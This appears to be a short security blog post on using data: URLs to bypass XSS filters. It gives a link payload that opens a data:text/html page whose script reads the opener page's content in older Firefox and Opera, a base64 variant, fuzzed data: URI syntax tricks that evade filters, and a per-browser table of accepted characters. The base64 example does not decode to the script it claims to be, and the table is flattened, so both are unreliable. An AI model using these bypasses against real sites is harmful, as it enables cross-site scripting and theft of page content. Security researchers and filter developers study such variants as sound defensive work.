

Fun with data: URLs

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Content

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[Data URLs](#), especially in their base64 encoding can [often](#) be used for [anti XSS filter bypasses](#). This gets even more important in Firefox and Opera, where newly opened documents [retain access to opening page](#). So attacker can trigger XSS with only this semi-innocent-link:

```
<a target=_blank href="data:text/html,<script>alert(opener.document.body.innerHTML)</script>">clickme in Opera/FF
```

or even use the base64 encoding of the URL:

```
data:text/html;base64,PHNjcmlwdD5hbGVydChvcGVuZSxzluZG9jdW1lbnQuYm9keS5pbm5lckhUTUwrMTApPC9zY3JpcHcH
```

Chrome will block the access to originating page, so that attacker has limited options:

[\[\[image: image\]\]\(https://web.archive.org/web/20170913133339/http://1.bp.blogspot.com/-fbutbh5g5Z8/T37nmEmgWqI/AAAAAAAAFO4/66anW8VMqI4/s1600/screenshot_01.png\)](https://web.archive.org/web/20170913133339/http://1.bp.blogspot.com/-fbutbh5g5Z8/T37nmEmgWqI/AAAAAAAAFO4/66anW8VMqI4/s1600/screenshot_01.png)

But what if particular XSS filter knows about data: URIs and tries to reject them? We bypass, of course :) I've been fuzzing data: URIs syntax recently and I just thought you might find below examples interesting:

```
data:text/html;base64wakemeupbeforeyougogo,[content] // FF, Safari
data:text/html;base64,[content]
data:text/html:[plenty-of-whitespace];base64,[content]
data:text/html;base64,,[content] // Opera
```

Here are full fuzz results for vector: data:text/html;<before>base64<after>,[base64content]

Browser	Before (ASCII)	After (ASCII)		Firefox 11	9,10,13,59	anything		Safari 5.1
	9,10,13,59	anything		Chrome 18	9,10,13,32,59	9,10,13,32,59		Opera 11.6
	9,10,13,32,59	9,10,13,32,44,59						

Not a ground-breaking result, but it may come in handy one day for you, like it did for me.

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